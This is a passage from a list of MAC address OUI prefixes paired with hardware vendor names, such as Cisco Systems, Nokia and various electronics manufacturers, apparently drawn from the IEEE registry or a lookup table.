Inc. 180B52 Nanotron Technologies GmbH 64DE1C Kingnetic Pte Ltd 540496 Gigawave LTD C8C126 ZPM Industria e Comercio Ltda 041D10 Dream Ware Inc. 88DD79 Voltaire 4468AB JUIN COMPANY, LIMITED 902E87 LabJack C8208E Storagedata 00B342 MacroSAN Technologies Co., Ltd. 4CB9C8 CONET CO., LTD. 0474A1 Aligera Equipamentos Digitais Ltda 1064E2 ADFweb.com s.r.l. CC34D7 GEWISS S.P.A. B4CFDB Shenzhen Jiuzhou Electric Co.,LTD C46354 U-Raku, Inc. 20FEDB M2M Solution S.A.S. 405FBE RIM E05B70 Innovid, Co., Ltd. 043604 Gyeyoung I&T 34F968 ATEK Products, LLC D0D0FD Cisco Systems, Inc 706417 ORBIS TECNOLOGIA ELECTRICA S.A. 64FC8C Zonar Systems 28ED58 JAG Jakob AG 9873C4 Sage Electronic Engineering LLC B8797E Secure Meters (UK) Limited 2005E8 OOO InProMedia E0D10A Katoudenkikougyousyo co ltd 1C0656 IDY Corporation C44B44 Omniprint Inc. 6015C7 IdaTech 188ED5 TP Vision Belgium N.V. - innovation site Brugge 8CE7B3 Sonardyne International Ltd 0034F1 Radicom Research, Inc. A8B0AE LEONI 60893C Thermo Fisher Scientific P.O.A. 5C17D3 LGE 70A191 Trendsetter Medical, LLC 58BC27 Cisco Systems, Inc 34D2C4 RENA GmbH Print Systeme E0A670 Nokia Corporation E061B2 HANGZHOU ZENOINTEL TECHNOLOGY CO., LTD 4491DB Shanghai Huaqin Telecom Technology Co.,Ltd 14D76E CONCH ELECTRONIC Co.,Ltd CC6B98 Minetec Wireless Technologies C4CD45 Beijing Boomsense Technology CO.,LTD. D0BB80 SHL Telemedicine International Ltd. 1C83B0 Linked IP GmbH F065DD Primax Electronics Ltd. 706582 Suzhou Hanming Technologies Co., Ltd. 94C7AF Raylios Technology 6854F5 enLighted Inc 008C10 Black Box Corp. 20A2E7 Lee-Dickens Ltd 8CDD8D Wifly-City System Inc. EC98C1 Beijing Risbo Network Technology Co.,Ltd ECC38A Accuenergy (CANADA) Inc D48FAA Sogecam Industrial, S.A. 38A95F Actifio Inc A0DDE5 SHARP Corporation 94A7BC BodyMedia, Inc. 6C9B02 Nokia Corporation 84DB2F Sierra Wireless Inc C89383 Embedded Automation, Inc. D49E6D Wuhan Zhongyuan Huadian Science & Technology Co., 94F720 Tianjin Deviser Electronics Instrument Co., Ltd EC2368 IntelliVoice Co.,Ltd. 04DD4C Velocytech B4C810 UMPI Elettronica 38580C Panaccess Systems GmbH 24AF54 NEXGEN Mediatech Inc. F0F9F7 IES GmbH & Co. KG CC0CDA Miljovakt AS C01242 Alpha Security Products 90507B Advanced PANMOBIL Systems GmbH & Co. KG 00B5D6 Omnibit Inc. F893F3 VOLANS 7C3E9D PATECH 4C60D5 airPointe of New Hampshire D45297 nSTREAMS Technologies, Inc. 78EC22 Shanghai Qihui Telecom Technology Co., LTD F8D756 Simm Tronic Limited E087B1 Nata-Info Ltd. A8B1D4 Cisco Systems, Inc 4CBAA3 Bison Electronics Inc. EC7C74 Justone Technologies Co., Ltd. 3C1A79 Huayuan Technology CO.,LTD 30E48E Vodafone UK 08512E Orion Diagnostica Oy 9CF61A UTC Fire and Security C802A6 Beijing Newmine Technology C84C75 Cisco Systems, Inc 284C53 Intune Networks 102D96 Looxcie Inc. 3037A6 Cisco Systems, Inc ACEA6A GENIX INFOCOMM CO., LTD. 5C35DA There Corporation Oy 005218 Wuxi Keboda Electron Co.Ltd 08F2F4 Net One Partners Co.,Ltd. 68EFBD Cisco Systems, Inc 183BD2 BYD Precision Manufacture Company Ltd. F45595 HENGBAO Corporation LTD. C08B6F S I Sistemas Inteligentes Eletrônicos Ltda BCA9D6 Cyber-Rain, Inc. 0CDDEF Nokia Corporation 80C63F Remec Broadband Wireless , LLC F09CBB RaonThink Inc. FCE23F CLAY PAKY SPA B0E39D CAT SYSTEM CO.,LTD. 78A6BD DAEYEON Control&Instrument Co,.Ltd 481249 Luxcom Technologies Inc. B43DB2 Degreane Horizon C4823F Fujian Newland Auto-ID Tech. Co,.Ltd. F4C795 WEY Elektronik AG 087695 Auto Industrial Co., Ltd. ACCE8F HWA YAO TECHNOLOGIES CO., LTD 042F56 ATOCS (Shenzhen) LTD 084E1C H2A Systems, LLC A4B121 Arantia 2010 S.L. 9889ED Anadem Information Inc. 147373 TUBITAK UEKAE 982D56 Resolution Audio 00A2DA INAT GmbH 6C3E9C KE Knestel Elektronik GmbH F89D0D Control Technology Inc. 1010B6 McCain Inc 081FF3 Cisco Systems, Inc 5CE286 Nortel Networks 2CCD27 Precor Inc 6C5E7A Ubiquitous Internet Telecom Co., Ltd D828C9 General Electric Consumer and Industrial C86C1E Display Systems Ltd EC6C9F Chengdu Volans Technology CO.,LTD CCCC4E Sun Fountainhead USA. Corp 60D30A Quatius Limited BC9DA5 DASCOM Europe GmbH 942E63 Finsécur C8D2C1 Jetlun (Shenzhen) Corporation F0BCC8 MaxID (Pty) Ltd 406186 MICRO-STAR INT'L CO.,LTD 74E537 RADSPIN 7C08D9 Shanghai B-Star Technology Co 448E81 VIG 2046F9 Advanced Network Devices (dba:AND) 0C8230 SHENZHEN MAGNUS TECHNOLOGIES CO.,LTD 50934F Gradual Tecnologia Ltda. 34EF8B NTT Communications Corporation 38E98C Reco S.p.A. F02408 Talaris (Sweden) AB A06986 Wellav Technologies Ltd F02FD8 Bi2-Vision C86CB6 Optcom Co., Ltd. C45976 Fugoo Coorporation B0C8AD People Power Company A870A5 UniComm Inc. 80177D Nortel Networks E8DAAA VideoHome Technology Corp. 647D81 YOKOTA INDUSTRIAL CO,.LTD 8891DD Racktivity C4198B Dominion Voting Systems Corporation C83A35 Tenda Technology Co., Ltd. F4ACC1 Cisco Systems, Inc 584CEE Digital One Technologies, Limited E064BB DigiView S.r.l. 4C63EB Application Solutions (Electronics and Vision) Ltd C01E9B Pixavi AS 64168D Cisco Systems, Inc 24D2CC SmartDrive Systems Inc. 7C6C8F AMS NEVE LTD C4E17C U2S co. A8C222 TM-Research Inc. 50252B Nethra Imaging Incorporated A4DA3F Bionics Corp. 9C4E8E ALT Systems Ltd 448312 Star-Net 687924 ELS-GmbH & Co. KG 38BB23 OzVision America LLC 003A99 Cisco Systems, Inc 04C05B Tigo Energy 5C1437 Thyssenkrupp Aufzugswerke GmbH 9C55B4 I.S.E. S.r.l. DC2C26 Iton Technology Limited 4CC452 Shang Hai Tyd. Electon Technology Ltd. F0C24C Zhejiang FeiYue Digital Technology Co., Ltd 08184C A. S. Thomas, Inc. 5CE223 Delphin Technology AG FC6198 NEC Personal Products, Ltd F871FE The Goldman Sachs Group, Inc. D8C3FB DETRACOM 201257 Most Lucky Trading Ltd D49C28 JayBird LLC A03A75 PSS Belgium N.V. 746B82 MOVEK 0C8411 A.O. Smith Water Products F8E968 Egker Kft. E8DFF2 PRF Co., Ltd. 006440 Cisco Systems, Inc D0E40B Wearable Inc. AC867E Create New Technology (HK) Limited Company 58F67B Xia Men UnionCore Technology LTD. A02EF3 United Integrated Services Co., Led. A8CE90 CVC 00271F MIPRO Electronics Co., Ltd 00271A Geenovo Technology Ltd. 002714 Grainmustards, Co,ltd. 002717 CE Digital(Zhenjiang)Co.,Ltd 002708 Nordiag ASA 002701 INCOstartec GmbH 002702 SolarEdge Technologies 0026FB AirDio Wireless, Inc. 0026F5 XRPLUS Inc. 002632 Instrumentation Technologies d.d. 00262C IKT Advanced Technologies s.r.o. 002626 Geophysical Survey Systems, Inc. 00261F SAE Magnetics (H.K.) Ltd. 002620 ISGUS GmbH 00261A Femtocomm System Technology Corp. 002613 Engel Axil S.L. 00260D Mercury Systems, Inc. 0025D8 KOREA MAINTENANCE 0025CC Mobile Communications Korea Incorporated 0025C5 Star Link Communication Pvt. Ltd. 0025C6 kasercorp, ltd 0025C0 ZillionTV Corporation 0025B4 Cisco Systems, Inc 0025B9 Cypress Solutions Inc 0025AD Manufacturing Resources International 002600 TEAC Australia Pty Ltd. 002607 Enabling Technology Pty Ltd 0025FB Tunstall Healthcare A/S 0025FA J&M Analytik AG 0025F6 netTALK.com, Inc. 0025EF I-TEC Co., Ltd. 0025E9 i-mate Development, Inc. 002690 I DO IT 00268A Terrier SC Ltd 002689 General Dynamics Robotic Systems 002684 KISAN SYSTEM 002683 Ajoho Enterprise Co., Ltd. 00267D A-Max Technology Macao Commercial Offshore Company Limited 002677 DEIF A/S 002671 AUTOVISION Co., Ltd 00266A ESSENSIUM NV 0026EF Technology Advancement Group, Inc. 0026E9 SP Corp 0026DC Optical Systems Design 0026D6 Ningbo Andy Optoelectronic Co., Ltd. 0026CF DEKA R&D 0026D0 Semihalf 0026CA Cisco Systems, Inc 0026C9 Proventix Systems, Inc. 0026C3 Insightek Corp. 002664 Core System Japan 002658 T-Platforms (Cyprus) Limited 002645 Circontrol S.A. 00263F LIOS Technology GmbH 002639 T.M. Electronics, Inc. 0026B3 Thales Communications Inc 0026AD Arada Systems, Inc. 0026A9 Strong Technologies Pty Ltd 0026A3 FQ Ingenieria Electronica S.A. 00269C ITUS JAPAN CO. LTD 002696 NOOLIX Co., Ltd 002484 Bang and Olufsen Medicom a/s 002486 DesignArt Networks 00247F Nortel Networks 002478 Mag Tech Electronics Co Limited 002471 Fusion MultiSystems dba Fusion-io 002473 3COM EUROPE LTD 002460 Giaval Science Development Co. Ltd. 00245B RAIDON TECHNOLOGY, INC. 00244E RadChips, Inc. 002447 Kaztek Systems 002442 Axona Limited 00243D Emerson Appliance Motors and Controls 002528 Daido Signal Co., Ltd. 002523 OCP Inc. 00251E ROTEL TECHNOLOGIES 002519 Viaas Inc 002514 PC Worth Int'l Co., Ltd. 00250D GZT Telkom-Telmor sp. z o.o. 002506 A.I. ANTITACCHEGGIO ITALIA SRL 002508 Maquet Cardiopulmonary AG 00257A CAMCO Produktions- und Vertriebs-GmbH fürBeschallungs- und Beleuchtungsanlagen 00257F CallTechSolution Co.,Ltd 002573 ST Electronics (Info-Security) Pte Ltd 00256E Van Breda B.V. 00256D Broadband Forum 002560 Ibridge Networks & Communications Ltd. 00255B CoachComm, LLC 0024E2 HASEGAWA ELECTRIC CO.,LTD. 0024DB Alcohol Monitoring Systems 0024CF Inscape Data Corporation 0024C8 Broadband Solutions Group 0024C3 Cisco Systems, Inc 0024C0 NTI COMODO INC 0024B6 Seagate Technology 0024BB CENTRAL Corporation 0024B1 Coulomb Technologies 0024AA Dycor Technologies Ltd. 0024A3 Sonim Technologies Inc 00249E ADC-Elektronik GmbH 00248B HYBUS CO., LTD. 002492 Motorola, Broadband Solutions Group 002497 Cisco Systems, Inc 002554 Pixel8 Networks 00254D Singapore Technologies Electronics Limited 00254E Vertex Wireless Co., Ltd. 002537 Runcom Technologies Ltd. 00253E Sensus Metering Systems 002541 Maquet Critical Care AB 00252D Kiryung Electronics 0025A6 Central Network Solution Co., Ltd. 0025A1 Enalasys 00259A CEStronics GmbH 002593 DatNet Informatikai Kft. 002594 Eurodesign BG LTD 00258E The Weather Channel 00258A Pole/Zero Corporation 002589 Hills Industries Limited 002584 Cisco Systems, Inc 002501 JSC Supertel 0024FA Hilger u. Kern GMBH 0024F5 NDS Surgical Imaging 0024EE Wynmax Inc. 0024E7 Plaster Networks 0023F2 TVLogic 0023E8 Demco Corp. 0023E1 Cavena Image Products AB 0023DC Benein, Inc 0023DB saxnet gmbh 0023C9 Sichuan Tianyi Information Science & Technology Stock CO.,LTD 0023CE KITA DENSHI CORPORATION 0023D5 WAREMA electronic GmbH 002421 MICRO-STAR INT'L CO., LTD. 002414 Cisco Systems, Inc 002415 Magnetic Autocontrol GmbH 00240F Ishii Tool & Engineering Corporation 002408 Pacific Biosciences 002402 Op-Tection GmbH 0023FC Ultra Stereo Labs, Inc 0023CF CUMMINS-ALLISON CORP. 0023C2 SAMSUNG Electronics. Co. LTD 0023B6 SECURITE COMMUNICATIONS / HONEYWELL 0023BC EQ-SYS GmbH 0023AA HFR, Inc. 0023A9 Beijing Detianquan Electromechanical Equipment Co., Ltd 00233C Alflex 00233B C-Matic Systems Ltd 002335 Linkflex Co.,Ltd 00232D SandForce 002328 ALCON TELECOMMUNICATIONS CO., LTD. 002321 Avitech International Corp 0022F8 PIMA Electronic Systems Ltd. 00231F Guangda Electronic & Telecommunication Technology Development Co., Ltd. 0022E6 Intelligent Data 0022E0 Atlantic Software Technologies S.r.L. 0022DF TAMUZ Monitors 0022DA ANATEK, LLC 0022D3 Hub-Tech 0022CD Ared Technology Co., Ltd. 0022C4 epro GmbH 0022C9 Lenord, Bauer & Co GmbH 0022BF SieAmp Group of Companies 0022B9 Analogix Seminconductor, Inc 0022BA HUTH Elektronik Systeme GmbH 00239D Mapower Electronics Co., Ltd 002392 Proteus Industries Inc. 00238D Techno Design Co., Ltd. 002388 V.T. Telematica S.p.a. 002383 InMage Systems Inc 00237C NEOTION 002324 G-PRO COMPUTER 002431 Uni-v co.,ltd 00241B iWOW Communications Pte Ltd 002422 Knapp Logistik Automation GmbH 002427 SSI COMPUTER CORP 002373 GridIron Systems, Inc. 002367 UniControls a.s. 00236E Burster GmbH & Co KG 00236D ResMed Ltd 002360 Lookit Technology Co., Ltd 00235B Gulfstream 002316 KISAN ELECTRONICS CO 00230F Hirsch Electronics Corporation 00230A ARBURG GmbH & Co KG 002309 Janam Technologies LLC 002303 LITE-ON IT Corporation 0022F2 SunPower Corp 0022ED TSI Power Corporation 00228D GBS Laboratories LLC 002287 Titan Wireless LLC 002288 Sagrad, Inc. 002281 Daintree Networks Pty 00227A Telecom Design 00226B Cisco-Linksys, LLC 00225D Digicable Network India Pvt. Ltd. 00225C Multimedia & Communication Technology 00216F SymCom, Inc. 002169 Prologix, LLC. 002156 Cisco Systems, Inc 002150 EYEVIEW ELECTRONICS 00214A Pixel Velocity, Inc 0021A3 Micromint 002199 Vacon Plc 002195 GWD Media Limited 00218F Avantgarde Acoustic Lautsprechersysteme GmbH 002188 EMC Corporation 002182 SandLinks Systems, Ltd. 002175 Pacific Satellite International Ltd. 00222A SoundEar A/S 00221E Media Devices Co., Ltd. 002225 Thales Avionics Ltd 002212 CAI Networks, Inc. 00220B National Source Coding Center 002205 WeLink Solutions, Inc. 002206 Cyberdyne Inc. 0022B3 Sei S.p.A. 0022AC Hangzhou Siyuan Tech. Co., Ltd 0022A7 Tyco Electronics AMP GmbH 0022A0 Delphi Corporation 00229A Lastar, Inc. 002299 SeaMicro Inc. 0021FA A4SP Technologies Ltd. 0021F4 INRange Systems, Inc 0021ED Telegesis 0021E7 Informatics Services Corporation 0021DB Santachi Video Technology (Shenzhen) Co., Ltd. 0021E1 Nortel Networks 0021D5 X2E GmbH 0021DA Automation Products Group Inc. 0021CE NTC-Metrotek 0021C8 LOHUIS Networks 0021C2 GL Communications Inc 0021BB Riken Keiki Co., Ltd. 0021B5 Galvanic Ltd 0021AF Radio Frequency Systems 0021B6 Triacta Power Technologies Inc. 0021A9 Mobilink Telecom Co.,Ltd 0021A8 Telephonics Corporation 00210D SAMSIN INNOTEC 002141 RADLIVE 002137 Bay Controls, LLC 00212D SCIMOLEX CORPORATION 002133 Building B, Inc 002121 VRmagic GmbH 002126 Shenzhen Torch Equipment Co., Ltd. 002257 3COM EUROPE LTD 00224E SEEnergy Corp. 002247 DAC ENGINEERING CO., LTD. 00223D JumpGen Systems, LLC 002237 Shinhint Group 002238 LOGIPLUS 002231 SMT&C Co., Ltd. 00222B Nucomm, Inc. 001EF6 Cisco Systems, Inc 001EEA Sensor Switch, Inc. 001EEF Cantronic International Limited 001EDE BYD COMPANY LIMITED 001EE3 T&W Electronics (ShenZhen) Co.,Ltd 001EDD WASKO S.A. 001ED9 Mitsubishi Precision Co.,LTd. 001ED4 Doble Engineering 001ED3 Dot Technology Int'l Co., Ltd. 001ECD KYLAND Technology Co. LTD 001EC6 Obvius Holdings LLC 001F9D Cisco Systems, Inc 001FA2 Datron World Communications, Inc. 001F91 DBS Lodging Technologies, LLC 001F96 APROTECH CO.LTD 001F90 Actiontec Electronics, Inc 001F8F Shanghai Bellmann Digital Source Co.,Ltd. 001F85 Apriva ISS, LLC 001F87 Skydigital Inc. 001F86 digEcor 001F80 Lucas Holding bv 001F3E RP-Technik e.K. 001F42 Etherstack plc 001F39 Construcciones y Auxiliar de Ferrocarriles, S.A. 001F2B Orange Logic 001F2C Starbridge Networks 001F26 Cisco Systems, Inc 001F1A Prominvest 001EC1 3COM EUROPE LTD 001EBA High Density Devices AS 001EB3 Primex Wireless 001EB4 UNIFAT TECHNOLOGY LTD. 001EA8 Datang Mobile Communications Equipment CO.,LTD 001E9C Fidustron INC 001E95 SIGMALINK 001E96 Sepura Plc 001E8B Infra Access Korea Co., Ltd. 001FEF SHINSEI INDUSTRIES CO.,LTD 001FE8 KURUSUGAWA Electronics Industry Inc,. 001FDC Mobile Safe Track Ltd 001FD7 TELERAD SA 001FCB NIW Solutions 001F77 HEOL DESIGN 001F73 Teraview Technology Co., Ltd. 001F6D Cisco Systems, Inc 001F61 Talent Communication Networks Inc. 001F66 PLANAR LLC 001F5A Beckwith Electric Co. 001F53 GEMAC Gesellschaft für Mikroelektronikanwendung Chemnitz mbH 001F4E ConMed Linvatec 001F54 Lorex Technology Inc. 001F47 MCS Logic Inc. 001FD2 COMMTECH TECHNOLOGY MACAO COMMERCIAL OFFSHORE LTD. 001FBF Fulhua Microelectronics Corp. Taiwan Branch 001FAC Goodmill Systems Ltd 00211A LInTech Corporation 002113 Padtec S/A 002114 Hylab Technology Inc. 00210E Orpak Systems L.T.D. 00210A byd:sign Corporation 002104 Gigaset Communications GmbH 001FFB Green Packet Bhd 001FF6 PS Audio International 001F19 BEN-RI ELECTRONICA S.A. 001F13 S.& A.S. Ltd. 001F0F Select Engineered Systems 001EFD Microbit 2.0 AB 001F02 Pixelmetrix Corporation Pte Ltd 001EF0 Gigafin Networks 001D2C Wavetrend Technologies (Pty) Limited 001D27 NAC-INTERCOM 001D18 Power Innovation GmbH 001D13 NextGTV 001D0C MobileCompia 001D06 HM Electronics, Inc. 001D05 Eaton Corporation 001E62 Siemon 001E5D Holosys d.o.o. 001E56 Bally Wulff Entertainment GmbH 001E50 BATTISTONI RESEARCH 001E4A Cisco Systems, Inc 001D85 Call Direct Cellular Solutions 001D80 Beijing Huahuan Eletronics Co.,Ltd 001D68 Thomson Telecom Belgium 001D6F Chainzone Technology Co., Ltd 001D76 Eyeheight Ltd. 001D7B Ice Energy, Inc. 001D75 Radioscape PLC 001D63 Miele & Cie. KG 001D5C Tom Communication Industrial Co.,Ltd. 001D55 ZANTAZ, Inc 001DC8 Navionics Research Inc., dba SCADAmetrics 001DC1 Audinate Pty L 001DBB Dynamic System Electronics Corp. 001DAB SwissQual License AG 001E86 MEL Co.,Ltd. 001E7F CBM of America 001E7A Cisco Systems, Inc 001E79 Cisco Systems, Inc 001E6F Magna-Power Electronics, Inc. 001E70 Cobham Defence Communications Ltd 001E69 Thomson Inc. 001D56 Kramer Electronics Ltd. 001D50 SPINETIX SA 001D4B Grid Connect Inc. 001D46 Cisco Systems, Inc 001D3F Mitron Pty Ltd 001D39 MOOHADIGITAL CO., LTD 001D3A mh acoustics LLC 001D33 Maverick Systems Inc. 001E09 ZEFATEK Co.,LTD 001E04 Hanson Research Corporation 001DF7 R. STAHL Schaltgeräte GmbH 001DF8 Webpro Vision Technology Corporation 001DF1 Intego Systems, Inc. 001DEA Commtest Instruments Ltd 001DDB C-BEL Corporation 001DE5 Cisco Systems, Inc 001DA4 Hangzhou System Technology CO., LTD 001D9F MATT R.P.Traczynscy Sp.J. 001D92 MICRO-STAR INT'L CO.,LTD. 001D91 Digitize, Inc 001D8C La Crosse Technology LTD 001E39 Comsys Communication Ltd. 001E34 CryptoMetrics 001E2D STIM 001E26 Digifriends Co. Ltd 001E1A Best Source Taiwan Inc. 001E14 Cisco Systems, Inc 001E0A Syba Tech Limited 001C61 GalaxyMicrosystems LImited 001C55 Shenzhen Kaifa Technology Co. 001C5A Advanced Relay Corporation 001C44 Bosch Security Systems BV 001C4B Gener8, Inc. 001C38 Bio-Rad Laboratories, Inc. 001C3D WaveStorm 001C3F International Police Technologies, Inc. 001C3E ECKey Corporation 001C31 Mobile XP Technology Co., LTD 001C2C Synapse 001CF9 Cisco Systems, Inc 001CF3 EVS BROADCAST EQUIPMENT 001CF4 Media Technology Systems Inc 001CED ENVIRONNEMENT SA 001CE3 Optimedical Systems 001CDC Custom Computer Services, Inc. 001CD0 Circleone Co.,Ltd. 001BF5 Tellink Sistemas de Telecomunicación S.L. 001BF0 Value Platforms Limited 001BE8 Ultratronik GmbH 001BE1 ViaLogy 001BDC Vencer Co., Ltd. 001BD5 Cisco Systems, Inc 001BCE Measurement Devices Ltd 001C94 LI-COR Biosciences 001C8E Alcatel-Lucent IPD 001C8D Mesa Imaging 001C88 TRANSYSTEM INC. 001C83 New Level Telecom Co., Ltd. 001C7A Perfectone Netware Company Ltd 001C7B Castlenet Technology Inc. 001C79 Cohesive Financial Technologies LLC 001C74 Syswan Technologies Inc. 001C6D KYOHRITSU ELECTRONIC INDUSTRY CO., LTD. 001C68 Anhui Sun Create Electronics Co., Ltd 001CC9 Kaise Electronic Technology Co., Ltd. 001CCA Shanghai Gaozhi Science & Technology Development Co. 001CBD Ezze Mobile Tech., Inc. 001CB8 CBC Co., Ltd 001CAD Wuhan Telecommunication Devices Co.,Ltd 001CAE WiChorus, Inc. 001CA7 International Quartz Limited 001CA0 Production Resource Group, LLC 001C9B FEIG ELECTRONIC GmbH 001B69 Equaline Corporation 001B64 IsaacLandKorea Co., Ltd, 001B5D Vololink Pty Ltd 001B56 Tehuti Networks Ltd. 001B51 Vector Technology Corp. 001B45 ABB AS, Division Automation Products 001B4A W&W Communications, Inc. 001B43 Beijing DG Telecommunications equipment Co.,Ltd 001B3E Curtis, Inc. 001B37 Computec Oy 001B2B Cisco Systems, Inc 001BC9 FSN DISPLAY INC 001BC2 Integrated Control Technology Limitied 001BBC Silver Peak Systems, Inc. 001BBD FMC Kongsberg Subsea AS 001BB3 Condalo GmbH 001BB8 BLUEWAY ELECTRONIC CO;LTD 001BAC Curtiss Wright Controls Embedded Computing 001BB2 Intellect International NV 001BA5 MyungMin Systems, Inc. 001BA0 Awox 001B99 KS System GmbH 001C1B Hyperstone GmbH 001C0F Cisco Systems, Inc 001C08 Echo360, Inc. 001C02 Pano Logic 001C01 ABB Oy Drives 001C03 Betty TV Technology AG 001B92 l-acoustics 001B8D Electronic Computer Systems, Inc. 001B88 Divinet Access Technologies Ltd 001B83 Finsoft Ltd 001B7C A & R Cambridge 001B76 Ripcode, Inc. 001B75 Hypermedia Systems 001B70 IRI Ubiteq, INC. 001A18 Advanced Simulation Technology inc. 001A0A Adaptive Micro-Ware Inc. 001A05 OPTIBASE LTD 001A03 Angel Electronics Co., Ltd. 0019FE SHENZHEN SEECOMM TECHNOLOGY CO.,LTD. 0019F9 TDK-Lambda 0019ED Axesstel Inc. 0019F4 Convergens Oy Ltd 001A79 TELECOMUNICATION TECHNOLOGIES LTD. 001A99 Smarty (HZ) Information Electronics Co., Ltd 001A9B ADEC & Parter AG 001A94 Votronic GmbH 001A83 Pegasus Technologies Inc. 001A7E LN Srithai Comm Ltd. 001AF1 Embedded Artists AB 001AF6 Woven Systems, Inc. 001AEC Keumbee Electronics Co.,Ltd. 001AE0 Mythology Tech Express Inc. 001AE5 Mvox Technologies Inc. 001AD2 Eletronica Nitron Ltda 001AD9 International Broadband Electric Communications, Inc. 001ACB Autocom Products Ltd 001ACD Tidel Engineering LP 001A46 Digital Multimedia Technology Co., Ltd 001A3A Dongahelecomm 001A3F intelbras 001A41 INOCOVA Co.,Ltd 001A2E Ziova Coporation 001A33 ASI Communications, Inc. 001A1D PChome Online Inc. 001A24 Galaxy Telecom Technologies Ltd 0019A5 RadarFind Corporation 0019AC GSP SYSTEMS Inc. 0019B1 Arrow7 Corporation 00199E Nifty 0019A0 NIHON DATA SYSTENS, INC. 001994 Jorjin Technologies Inc. 00198F Alcatel Bell N.V. 0019E8 Cisco Systems, Inc 0019DA Welltrans O&E Technology Co. , Ltd. 0019DC ENENSYS Technologies 0019C9 S&C ELECTRIC COMPANY 0019CE Progressive Gaming International 0019D5 IP Innovations, Inc. 0019C4 Infocrypt Inc. 0019BF Citiway technology Co.,ltd 0019BD New Media Life 0019B8 Boundary Devices 001B26 RON-Telecom ZAO 001B1C Coherent 001B1A e-trees Japan, Inc. 001B15 Voxtel, Inc. 001B09 Matrix Telecom Pvt. Ltd. 001B0E InoTec GmbH Organisationssysteme 001B07 Mendocino Software 001B02 ED Co.Ltd 001AFB Joby Inc. 001A74 Procare International Co 001A6D Cisco Systems, Inc 001A68 Weltec Enterprise Co., Ltd. 001A61 PacStar Corp. 001A54 Hip Shing Electronics Ltd. 001A59 Ircona 001A4D GIGA-BYTE TECHNOLOGY CO.,LTD. 001A52 Meshlinx Wireless Inc. 001AC6 Micro Control Designs 001ABC U4EA Technologies Ltd 001AC1 3Com Ltd 001AB0 Signal Networks Pvt. Ltd., 001AB5 Home Network System 001AA9 FUJIAN STAR-NET COMMUNICATION CO.,LTD 00183C Encore Software Limited 001841 High Tech Computer Corp 001843 Dawevision Ltd 001837 Universal ABIT Co., Ltd. 001826 Cale Access AB 00182B Softier 001818 Cisco Systems, Inc 00181A AVerMedia Information Inc. 00181F Palmmicro Communications 001804 E-TEK DIGITAL TECHNOLOGY LIMITED 001807 Fanstel Corp. 00180C Optelian Access Networks 0017FF PLAYLINE Co.,Ltd. 0017F1 Renu Electronics Pvt Ltd 0017F3 Harris Corparation 0017F8 Motech Industries Inc. 0017D4 Monsoon Multimedia, Inc 0017D9 AAI Corporation 0017E0 Cisco Systems, Inc 001920 KUME electric Co.,Ltd. 001925 Intelicis Corporation 001912 Welcat Inc 001914 Winix Co., Ltd 001919 ASTEL Inc. 00190D IEEE 1394c 001901 F1MEDIA 001906 Cisco Systems, Inc 0018F5 Shenzhen Streaming Video Technology Company Limited 0018F7 Kameleon Technologies 0018FC Altec Electronic AG 001981 Vivox Inc 001983 CCT R&D Limited 001975 Beijing Huisen networks technology Inc 00197C Riedel Communications GmbH 001970 Z-Com, Inc. 001964 Doorking Inc. 00195F Valemount Networks Corporation 001953 Chainleader Communications Corp. 001958 Bluetooth SIG, Inc. 00195A Jenaer Antriebstechnik GmbH 0018F0 JOYTOTO Co., Ltd. 0018E9 Numata Corporation 0018E4 YIGUANG 0018DD Silicondust Engineering Ltd 0018D8 ARCH METER Corporation 0018D1 Siemens Home & Office Comm. Devices 0018D6 Swirlnet A/S 0018CC AXIOHM SAS 0018C7 Real Time Automation 00186C Neonode AB 001878 Mackware GmbH 001867 Datalogic ADC 00185B Network Chemistry, Inc 00184F 8 Ways Technology Corp. 001854 Argard Co., Ltd 001856 EyeFi, Inc 001848 Vecima Networks Inc. 001945 RF COncepts, LLC 00194C Fujian Stelcom information & Technology CO.,Ltd 001940 Rackable Systems 001934 TRENDON TOUCH TECHNOLOGY CORP. 001939 Gigamips 001931 Balluff GmbH 0018BB Eliwell Controls srl 0018B9 Cisco Systems, Inc 0018B4 Dawon Media Inc. 0018AD NIDEC SANKYO CORPORATION 0018A8 AnNeal Technology Inc. 00189C Weldex Corporation 0018A1 Tiqit Computers, Inc. 001897 JESS-LINK PRODUCTS Co., LTD 001892 ads-tec GmbH 001890 RadioCOM, s.r.o. 001884 Fon Technology S.L. 00187F ZODIANET 0016D1 ZAT a.s. 0016C3 BA Systems Inc 0016BE INFRANET, Inc. 0016B7 Seoul Commtech 0016B2 DriveCam Inc 0016B0 VK Corporation 0016AB Dansensor A/S 0016A6 Dovado FZ-LLC 0017CF iMCA-GmbH 0017C3 KTF Technologies Inc. 0017B7 Tonze Technology Co. 0017BC Touchtunes Music Corporation 0017B5 Peerless Systems Corporation 001723 Summit Data Communications 00171C NT MicroSystems, Inc. 001710 Casa Systems Inc. 001715 Qstik 001717 Leica Geosystems AG 00170B Contela, Inc. 0016FF Wamin Optocomm Mfg Corp 001774 Elesta GmbH 001779 QuickTel 00177B Azalea Networks inc 001764 ATMedia GmbH 001766 Accense Technology, Inc. 00175F XENOLINK Communications Co., Ltd. 001751 Online Corporation 001758 ThruVision Ltd 001745 INNOTZ CO., Ltd 00174C Millipore 00179F Apricorn 0017A9 Sentivision 001793 Tigi Corporation 00178C Independent Witness, Inc 00178E Gunnebo Cash Automation AB 001780 Applied Biosystems B.V. 001787 Brother, Brother & Sons ApS 00176B Kiyon, Inc. 00BAC0 Biometric Access Company 001673 Bury GmbH & Co. KG 001671 Symphox Information Co. 001665 Cellon France 00166A TPS 00165E Precision I/O 001657 Aegate Ltd 001659 Z.M.P. RADWAG 001658 Fusiontech Technologies Inc. 001652 Hoatech Technologies, Inc. 001646 Cisco Systems, Inc 00164B Quorion Data Systems GmbH 001740 Bluberi Gaming Technologies Inc 001736 iiTron Inc. 00172F NeuLion Incorporated 001728 Selex Communications 00172A Proware Technology Corp.(By Unifosa) 00169A Quadrics Ltd 0016A1 3Leaf Networks 001693 PowerLink Technology Inc. 001695 AVC Technology (International) Limited 00168E Vimicro corporation 001682 Pro Dex, Inc 001687 Chubb CSC-Vendor AP 00167B Haver&Boecker 0016F3 CAST Information Co., Ltd 0016EE Royaldigital Inc. 0016E7 Dynamix Promotions Limited 0016E0 3Com Ltd 0016D6 TDA Tech Pty Ltd 001525 Chamberlain Access Solutions 001519 StoreAge Networking Technologies 001518 Shenzhen 10MOONS Technology Development CO.,Ltd 001514 Hu Zhou NAVA Networks&Electronics Ltd. 00150E OPENBRAIN TECHNOLOGIES CO., LTD. 00150F mingjong 00150D Hoana Medical, Inc. 001508 Global Target Enterprise Inc 0014FC Extandon, Inc. 001501 LexBox 